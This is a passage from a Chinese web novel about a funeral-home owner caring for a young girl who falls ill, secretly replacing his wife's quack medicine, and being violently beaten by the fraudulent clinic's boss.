说的是谢珞珞五岁和六岁的时候,那个时候的谢珞珞,扎着两个羊角辫,蹲在柿子树下的门口玩泥巴。 看到余泽回家,会露出大大的笑容,两个甜甜的酒窝嵌在腮夹两侧。 余泽想不通,为什么那么乖巧的一个谢珞珞,才不出几个月,就变成了这样。 林卿也没多说什么,男人的脑回路和女人终究不一样,谢珞珞对余泽的占有欲,恐怕余泽这辈子都没办法理解。 余泽抽完一根烟,外面的风已经刮起了些许零零星星的雨丝,他扶了把林卿,让她上楼早点儿休息。 然后拿着红花油瓶,去了谢珞珞的房间。 谢珞珞蒙着被子,整个人塞在被褥间。余泽给她揉了红花油,打的并不重,但是下手的时候小姑娘还是忍不住倒抽一口凉气。 余泽佯装生气地拍了拍她,谢珞珞也不从被子里钻出来,摇摇晃晃表示抗议。 外面哗啦下起了雨,雨点打着玻璃窗,啪啦啪啦响。 谢珞珞的卧室是窗户和床连在一起的,装了防盗网,防止小孩子跌下去。余泽看到那雨瞬间就往屋里捎,站起身,把窗户给关严实了。 第二天一早,谢珞珞下楼,余泽正在擦骨灰盒。 他抬头,就看到谢珞珞的头发都是湿的。 余泽愣了下,随即向下看,当他看到谢珞珞的肩膀脖子甚至胳膊上也都沾满了水珠,他不禁把人一把拉过来,左翻一圈右翻一个遍。 “怎么弄的???” 谢珞珞没吱声。 林卿也跟着下楼来,看到谢珞珞浑身都湿漉漉,也是愣了片刻。她还没有完全下楼,抬头就往谢珞珞的房间看去。 门敞开,地板上全都是雨水。 就连谢珞珞那铺着小黄鸭床单的床,都被雨水给打湿了。 上面的窗户,在外面风雨吹拂中,拍着墙壁,发出阵阵的响声。 谢珞珞捂着鼻子,打了个大大的喷嚏。 “阿嚏——!” 余泽当即就让林卿带着小姑娘去换身衣服,谢珞珞没有抗拒,整个人恹恹的,显然是有点儿冻着了。 换好衣服,余泽开着车,亲自送谢珞珞去上学。 回来的时候路过建材市场,余泽照着谢珞珞房间窗户的尺寸,给她买了个更加结实的窗户。 把窗户安完,确定插栓很牢固后,余泽这才开着车,去今天要办丧葬的人家。 他觉得谢珞珞的窗户是被风给吹开的,所以谢珞珞才淋了雨,小姑娘也没什么力气,推不上窗户很正常。 所以今晚睡觉前,余泽特地来谢珞珞的房间。 给她把窗户给插严实了。 他仔仔细细看了好几遍窗户的缝隙,又用手拉了拉,确定这窗户绝对不会被风给再一次吹开。 除非人为。 谢珞珞还是在跟余泽赌气。 感冒药一喝,作业也写完了扭头趴在床上就睡了过去。 余泽揉着太阳穴,不知道该说些什么。 最终只能在珞珞的房间门口站了那么一会儿。 给她关上灯。 可当第二天早晨一早,余泽再一次看到了被敲开了的窗户。 以及窗户下面,被风吹雨打透了的被褥。 谢珞珞整个人趴在那湿淋淋的被子上,翻着身,像是一条被捞上来的鱼儿,浑身都没有一点儿力气。 余泽瞬间明白了什么。 一晚上的担忧在那一刻全部化成了怒火。 他弄不明白那个可爱乖乖的谢珞珞怎么突然变成了这样,也已然克制不了心中的火气,谢珞珞可以闹腾可以发脾气,但不能拿糟践自己的身体来开玩笑! 余泽一步上前去,摔了窗户,将那大雨挡在了外面。然后扭头,伸出手,用力抓住谢珞珞。 “起床——” 谢珞珞趴在枕头里,头发一缕一缕,扭捏着蠕动了一下身子。 余泽浑身散发着寒气, “谢、珞、珞,起、床——” 谢珞珞还是没什么力气,软趴趴压在那里,被余泽拽着的手腕也软绵绵。 余泽觉得谢珞珞哪儿不对,于是便往她后颈处摸了摸。 一手滚烫! 9. 第 9 章 余泽开着车,直接去了医院。 他还跟隋空换了辆车开,丧葬那个面包车开到医院去一看就是拉生意的,余泽去医院鲜少是为了自己的事情,但眼下谢珞珞发烧,他不能随便找个小诊所给看了。 隋空在电话里愣了半天,问, “那孔爷那边今天的事儿……” 余泽嗓子里全是着急,挂了档,抱起来谢珞珞,就往发热门诊部跑。 “钱全退了,你们给办。” “回头我亲自上门致歉——” 隋空:“那珞珞要不要请假?” 余泽:“麻烦了!” “……” 到了医院。 这个季节是流行性感冒的高发期,又是大雨天,医院的地板上泥泞不堪,走一步都要打滑十下。 余泽抱着谢珞珞在儿童门诊部排队,谢珞珞烧的两个腮夹红通通,小嘴也干裂发白。很难受,眼睛闭着,小声喃喃着“哥哥,好难受”。 医生给凉了体温,要过去抽血。 谢珞珞虽然迷迷糊糊,但一听说要抽血,说什么都不肯扎针。 医生单子咔咔一开,余泽接过单子,在窗口前低着头谢过医生。 谢珞珞“哇——”的嗓子哭了出来,显然小姑娘十分抗拒扎针。 “我不要打针,哥哥,我不要打针!我不要打针——” 余泽火急火燎,行走在人群中,也没顾得上谢珞珞的哭闹。儿童门诊本来哇哇大哭的小孩就多,耳边全是哭声。余泽抱着谢珞珞,拍了拍她的脊梁,拿着单子把人给抱到了抽血化验的地方。 “右手无名指。”戴着口罩的护士,隔着玻璃窗,冰冰冷冷喊道。 余泽坐在凳子上,谢珞珞坐在他怀里。余泽低下头,对着裹在衣服里的谢珞珞,轻声说着, “珞珞,伸手。” “扎一下针。” 谢珞珞一听到要扎针,什么都不顾了,“哇”的嗓子又哭了出来,上气不接下气的、 “我不要扎针——我不要我不要!” 余泽摸了摸她的脑袋, “听话,珞珞。你不扎针,病会不好的。” 谢珞珞:“我不要我不要我不要我不要!” 对面的护士快要没耐心了,撕开包装的抽血针尖,尖头冒着冷光。 扎入那细皮嫩肉中,一看就很疼。 “还打不打——”护士皱眉。 余泽抹了把额头上的汗,对着护士歉意一笑。 “马上,马上。” 到最后实在是撑不住了,后面排队抽血的家长都开始着急。余泽没办法了,一只手捂着谢珞珞的后脑勺,把小姑娘硬生生按在怀中。 “珞珞,咱不看,咱不看。” 说着,硬是把谢珞珞拧在胸前的胳膊,给掰开来。 谢珞珞踩着地面的脚,都快要把鞋子给蹬烂。余泽把她的胳膊伸过去,护士冷冰冰地给那细皮嫩肉的小手消了毒。针尖毫不犹豫扎了下去。 “——————” 有时候余泽觉得自己的人生挺茫然的,父亲化疗的时候,他看到那么多的针管子扎入父亲的体内,他都坚强着说,扎上了就好了,治病当然得过程痛苦。 可谢珞珞踩着他的脚,脑袋在他怀里疯狂地往里面钻的那一刻。 小姑娘疼到嗓子都哭哑了的那一瞬间。 余泽忽然感觉到,心脏都在发抖。 医院的化验单还要半个小时才能出。 余泽就抱着谢珞珞,坐在旁边的椅子上。 谢珞珞不哭了,但是眼睛还在肿着。 余泽拿着棉签,压在她被扎了一针的右手无名指前,胳膊轻轻地晃啊晃。 “珞珞,珞珞。” “你看——” “那边那个小朋友,像不像你刚刚哭的模样?” 谢珞珞抽着鼻子。 “哪,哪里像了……” 余泽低头,把胳膊收紧了。 化验单出来,余泽拿着去给坐诊的医生看。 “细菌感染。”医生对着化验单,指了指上面的白细胞那一栏, “输液三天。” 余泽抱着谢珞珞,又去缴费的地方,拿了药。 那个时候还不是塑料袋装的药瓶,都是玻璃瓶,还有很多要往里面打的药。 细细的针管,缠成一圈一圈,别在塑料袋中。 “哥哥,我不想打针……”谢珞珞趴在余泽的肩膀上,有气无力嘟囔着。 余泽:“好,我们不打针。” 谢珞珞:“那我们现在是回家吗?” 余泽:“对,哥哥带珞珞回家。” 可当余泽抱着谢珞珞又一次坐在输液门诊的房间里。 看到穿着白色衣服的护士们忙忙碌碌。 余泽摸了摸谢珞珞的脑袋,站起身,提着那个全都是打吊瓶要用到东西的塑料袋,过去给了正在忙碌护士手里。 单子也压在了桌面上。 谢珞珞迷迷糊糊的看着。 忽然就打了个激灵。 余泽走了回来,身上因为汗水,近乎都要湿透了。 他好不容易可以坐一会儿,刚想要给隋空发个短信。 谢珞珞抓了抓他的衣角。 余泽低头。 谢珞珞:“哥哥,我们不是,回家么……” 余泽揽过谢珞珞的肩膀, “我们,等会儿就回家,好吗?” “你看那些小朋友,都是要先在这儿坐一会儿,马上就可以回家了……” 谢珞珞瞬间明白了什么。 特别是在看到,那穿着白色衣服的护士,抱着一篮筐的大大吊瓶。 扭过头来喊, “谢珞珞——” 谢珞珞瞬间又开始往门外跑。 两个人又把输液室给弄的鸡飞狗跳,别的家的小孩子都在看着余泽和谢珞珞。护士长烦了,直接指着门外,冷声道, “出去——想好了再进来打针!” 余泽弓着腰,连声道歉。 余泽找了个没什么人的地方,摊开泡沫纸壳,坐在地上。他把谢珞珞搂在怀中,小姑娘不停地挣扎着,一个劲儿地踹着余泽。 “大骗子!!!” “哥哥是个大骗子!!!” 余泽心里不可能不难受。 他交了费了,这针不可能不打,不打的话,珞珞的感冒就不会好。可是一切都好乱啊!余泽被谢珞珞东倒西歪撞着,却什么话都说不出来。 今天原本,他是跟南街的孔四爷说好了,亲自帮他儿子安排丧葬。 死去的孔叔叔,是孔四爷的独苗。 很多年前,余泽被判刑的那阵子,孔叔曾经不遗余力帮着余泽说过话。 这份恩情,余泽一直一直都记得。 余泽仰了仰头,忽然就感觉到眼眶酸涩。他只能抱着珞珞,但仿佛那个小人儿下一秒,就会突然消失。 “珞珞,哥哥,哥哥对不起你。” “是哥哥,不好。” 他也不知道,自己为什么要道歉。 或许是觉得,真的太苦了。 珞珞那么小,还要跟着他,吃这种苦。 连个打针,都不能如小姑娘开心。 医院走廊外,行人如流水,人来人往。 每一个人都是匆匆过客,都不会为了谁多么苦过的多么不好,而停下脚步。 雨水和汗水浸泡着余泽的头发,他坐在地上,双腿曲着,架在两侧。 很久很久以后,谢珞珞忽然就停止了哭闹。 她呜咽着嗓子,哭的胸口一抽一抽。 “哥哥,你是不是,不要珞珞了啊……” “你娶了老婆,你娶了林卿姐姐。” “你不要珞珞了,你不要珞珞了……” “……” …… * 中午一点钟,谢珞珞终于挂上了吊瓶。 小姑娘昏昏睡,躺在余泽的胳膊弯里。余泽抬着头,一点一滴看着那玻璃瓶里往下掉落的药液。 他想啊,他怎么可能不要珞珞了。 “珞珞。” “哥哥,不会不要你……” 隋空把给孔四爷退的钱的账单给拿了过来。 余泽站在柜台前,口算着算账。 面前还有一大叠的住院医药费。 医保什么的加起来,还是花了不少钱。 “那哥,木制厂那边,欠了的费,怎么算……” 隋空:“今天木厂那边刚打了电话,我说你忙,我也在办丧,有什么事回头说……” 余泽叉着腰,把嘴角的烟重重碾在了前面的烟灰缸里。 肩膀上的重量,压的他感觉到胸口呼吸都困难。 “……” “以后,晚上的活。” “也接吧。” 隋空:“啊?可是,可是……” 丧葬行业里的规矩,晚上魂归故里,夜间不能打扰死者回来看一看亲。 很多户有过逝者的人家,极为厌烦大半夜办丧的。 所以,几乎,没有丧葬行业的店家,晚上接活。 这也导致,夜间的价格,蹭蹭往上涨。 余泽:“我他妈才不信那鬼老六!” “接——!” …… 每年的过年,余泽都是和谢珞珞一起守岁。 今年多了一个林卿,年初二的那天,余泽便带着珞珞和林卿,回林家拜年。 谢珞珞不太开心,她对陌生人有着很大的不适应。林卿回娘家,家里人都在问暖嘘寒。 余泽的身份其实也挺尴尬的,他一个人坐在角落里。林卿的母亲拿了些糖人儿过来,想要招呼珞珞来玩。 “这就是珞珞吧?”林母笑道,“哎呀都这么大了……” 谢珞珞露出来一双大大的眼睛,盯着那金灿灿的糖人。余泽看出来她喜欢,摸了摸她的脑袋,在她耳边悄悄说道, “想要就要吧。” “……” 谢珞珞窝在余泽怀里,一下午都不出去,到了晚上,大家吃完了饭,林卿的父亲过来跟余泽商量。 林父:“小余,这药你拿着。” 余泽低头一看,是林卿的药。 他接了过来,揉着有些疲惫的太阳穴。 林父:“听说你这半年,总是晚上接黑活?” 余泽点点头:“嗯,钱给的多。” 林父:“这还是要小心点儿啊,现在人家,都不太待见接晚上这种。” 余泽答应着,怀里的珞珞动了两下身子。 林父看到珞珞,也跟着笑眯嘻嘻逗了两下, “小姑娘,今年多大了呀?” 谢珞珞冒出来两只眼睛,抿着嘴不说话。 余泽拍拍她的后脑勺,对岳父笑了笑, “小丫头,不太适应。” 林父也没当回事儿,哈哈大笑。 林父:“对,晚上想跟你商量个事儿。” 余泽:“您说。” 林父:“卿卿想在家里多住几天。” “你看你跟珞珞……” 谢珞珞的手紧巴巴抓着余泽的衣服,大大的眼睛看着余泽。 余泽:“那行,那我带珞珞先回去了。” 林父:“哎小余,也不住两天啊?” 余泽摇摇头,看了看林家那狭隘的空间, “不麻烦您了。” “珞珞也睡不太惯外面的床。” 林父没再挽留。 余泽牵着珞珞的手,两个人走在寂静的大雪纷飞中。小路上被自行车和行人踩出一道道痕迹,谢珞珞从林家出来后,明显开心了许多。 “哥哥。”谢珞珞仰着小脸,忽然开口。 余泽垂眸,眸子里含满了温柔。 “嗯?” 谢珞珞小步小步往前走着,棉鞋踢着雪, “我不喜欢林爷爷家。” “我们以后可不可以,不要去了呀?” “……” 余泽没问谢珞珞为什么。 他觉得,谢珞珞在那种地方,的确也压抑。 “……好。” 过年这几天,办丧事的几乎约等于零。 余泽没活干,林卿也住在娘家。每天就是看着谢珞珞早上起来写会儿作业,中午吃饭,下午就跟隔壁王婶家的小哥哥去镇子上到处疯。 晚上回来,边看电视边让余泽给她暖手暖脚。 日子这样,也不错。 过了初六,终于有地方提前预订了几个骨灰盒,余泽跑了几家木厂,把订单都给安排了出去。 初七这天,余泽坐在院子里熬药,林卿快回来了,冬天东西不容易放坏,他提前把几副药给熬出来。 谢珞珞拿着竹筐,跟凯凯哥哥在外面院子里,捕麻雀。 大门突然被人推开,一个穿着黑色羽绒服的男子走进了余家。 谢珞珞率先看到了男人,从马扎上站起身,惊飞了好不容易钻入筐子里的鸟儿。 “啊——” “那个男人!我见过!” “他以前,跟哥哥,送过酒!” 来的人正是赵来。 半年前余泽结婚那会儿,赵来刚好在北京进行制药实验,他学的是中医药,去年暑假刚保的研究生。 余泽没想到赵来会来。 这些年余泽过去的初中同学高中同学,一个个都对他避之唯恐不及,他很在乎过去的同学,可也不得不接受自己坐牢之后,大家都很嫌恶他这个事实。 所以赵来不避讳他,余泽还是有点儿小意外的。 家里也没有什么好招待的,余泽擦干净手,打开了通风橱,让那浓重的药味都跑出去。 然后烧了水,拿出来茶叶,还有过年买的果子糖。 赵来摆摆手,让他不用大动干戈的。 “就是来串串门,哈哈。” “还给嫂子和小朋友,买了点儿东西。” 赵来将一些对身体有滋补营养品,和从北京带来的图书,放在桌子上。 余泽给赵来倒茶。 两个人寒暄了几句话。 赵来看着外面正在捕鸟的谢珞珞,半天,突然说道, “等我博士毕业,我打算,留在北京。” 余泽:“你都读到博士了啊……” 赵来:“哈哈,还没有,但是我们学中医药的,本硕博必须得连着读下来。” 读大学这事儿,对于余泽而言,已经是很遥远的事情了。 更别说,读博。 赵来:“今年回来,就是想着把我母亲给接过去,我爹不也死了好几年了,北京那边导师给买了房,听说过两年北京就开始限制外地户口购房政策……” 余泽端着茶杯,在指尖转了转。 他听不懂。 什么北京户口外地户口,买房读博导师课题项目…… 余泽:“那以后,就不回来了?” 赵来:“临城这么小的一个地方,回来也是挤,不如趁着年轻多去外面转转,多挣些钱,将来孩子也有底气。” 余泽沉默着,不说话。 珞珞疯够了,满头大汗跑进来,余泽拿着干净的白布给她擦擦脸,小姑娘乖乖巧巧喊了声“赵叔叔”,逗的赵来哈哈大笑。 “叔叔给珞珞买的图书,珞珞喜欢吗 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余泽点点头。 赵来蹲在药渣前,拿起来闻了闻。 余泽也察觉到了不对劲儿,放下碗,问, “这药有问题?” 赵来仔细盯着那药材, “……” “我敢说,有问题!” “绝对有问题!!!” 余泽拉着赵来,进入到厨房,看了眼正在门外看书的谢珞珞,把门一关。 他掐着腰,寻思了半天, “这药,是南街三巷子里那家什么都没有的医院开的。” 赵来:“三巷子?有相关执照吗——” 余泽:“三巷子那条街,有几个有营业执照的!” 赵来:“不是,那这药,你还敢给你媳妇儿吃???” 余泽叹了口气,端着那碗,看了看, “说过。” “可是林家那一家子,都迷信。” “就是认准了这药。” 赵来:“余泽我跟你说,我敢给你打包票——就是这药,你媳妇儿要是继续喝下去,喝不死她——” 余泽:“我这半年里,好多次给偷偷换过药,去大医院开的,拿着林卿的报告单专门去开的药。” “不喝。” “就是只喝这个。” 赵来:“……” 余泽:“我也没那个本事,能给把医院开的药,换成同样的味道……” 赵来猛地拍在了余泽的肩膀上,压低了嗓子,信誓旦旦, “余,这事儿交给我!” “嫂子什么时候回来?” 余泽:“后天。” 赵来:“那我明晚,过来!” “我给你弄正常的治疗心脏病的药!” “味道上你放心!保准让你媳妇儿尝不出来半点儿差池!你相信哥们儿,哥们儿学中医药的!” 余泽迟疑地看着赵来。 半晌,蹲在地上。 缓缓地,点了下脑袋, “……行。” “那就拜托来哥了。” …… 赵来送来的药果然管用。 林卿回来后,余泽就悄无声息把药都给换掉。 喝了几个月,林卿常年半死不活的身体,忽然渐渐好转。 林家夫妇真的是又惊又喜,夸了半天医生有方,又夸赞余泽照顾的好。 余泽什么都不说,默默藏在心里。他依旧是早出晚归,每天晚上拉夜班的活,半夜两三点才能到家。 一笔一笔给珞珞记着,什么时候能买一架钢琴。 六月中旬的时候,据说省里上面来人,把临城所有无营业执照的黑店商铺,都给扫了个遍。 重点扫锦水镇。 南街三巷子那家无良医院也被查封,开医院的人果真是个打着幌子的骗子。省里的检察官一来,底下的打杂的全部被网罗归案。 只可惜龙首那几个,卷着钱提早跑了。 有那么段时间,过去阿谀奉承无良医院的百姓们,都在嘶喊着骂着上面的人,质问为什么要砸了他们信赖的医院。省里领导苦口婆心,解释着这些医院都没有营业执照,都是害民的。 “可是——正规医院的药,那么贵!我们买不起啊!!!”喊声最大的要数林卿的父母,他们照顾这个体弱多病的女儿半辈子,心血一夜之间全毁了。 检察官你看看我,我看看你,摇了摇头,不知道是在哀叹这些愚昧百姓们的无知,还是在悲叹不幸人家买不起天价正版药。 这事儿一出,余泽没吱声。他大概能猜的到是赵来举报的,但他不能声张,家里还剩下不少无良医生开的“药”,他假装什么都不知道,继续把赵来的药替换了林卿的“药”,给林卿喝。 六月底的一个下午,谢珞珞背着书包,坐校车从学校回来。 学校期末考试,她又考了双百分,还得到了下学期大队长的提名。 谢珞珞美滋滋地往家走,小黄帽随着她的头发一上一下,到了家门口前的那一条街。 好多人,都在往那边走着。 余水丧葬这条街,向来人烟稀少。 谢珞珞眨了眨大眼睛。 前一班班车回来的凯凯哥哥,忽然拉住谢珞珞。 “珞珞!”凯凯哥哥焦急地望着她。 急急呼呼,都有些语无伦次, “你哥,你哥……” 谢珞珞:“我哥怎么了!” 王凯伸手往前方余水丧葬一指, “你哥出事啦!” 谢珞珞一怔。 手里的狗尾巴草,瞬间掉落到了地上。 她拔腿就往家里跑,余水丧葬的院子外面,聚集了一圈一圈的人。 大家见到谢珞珞,纷纷让开了道。谢珞珞看到家里的门大敞着,刚要拨开最前面的叔叔阿姨们,听到里面有东西敲打着什么。 忽然一只手,死死抓住了谢珞珞。 “你放开我——”谢珞珞挣扎,扭头,就看到是隋空。 隋空一把捂住谢珞珞的嘴。 “嘘——别出声!” 隋空压低了嗓子,罕见的严肃。 成安哥哥他们也在。 隋空把谢珞珞强制箍在怀里,还没等谢珞珞看清楚前方,他边一只手死命按压在谢珞珞的双眼前。 “安子!把珞珞带走!带走!!!” 可还是晚了。 实在是太乱,隋空把谢珞珞交给成安时,手一个不小心从眼睛上滑落。 谢珞珞瞪圆了双眼,就看到,她哥余泽—— 余水丧葬的院子里,坐着好几个穿着黑色衣服的人。 为首的就是南街无良医院跑了的那个头头,几个壮丁威猛凶恶,而再旁边,是林卿的父母。 林卿姐姐哭哭啼啼,揉着眼睛,坐在最角落里。 林家夫妻俩,气红了脸,指着余泽在破口大骂。 谢珞珞听不到他们在骂什么,但看到了院子的正中央, 余泽被好几个人押着,摁在地上。 身后一个魁梧的男人,手里拿着一个粗壮的木棍。 扬上天空,用尽全力往前挥去。 砰——! 一下子抡在了跪在地上余泽的后腰。 余泽已经被打的浑身是血,数不清的黄沙在满天飞。 他身子往前荡了一下,紧接着,脖子一拉,青筋暴起。 下一秒,嘴唇处就喷出了很长一道鲜血。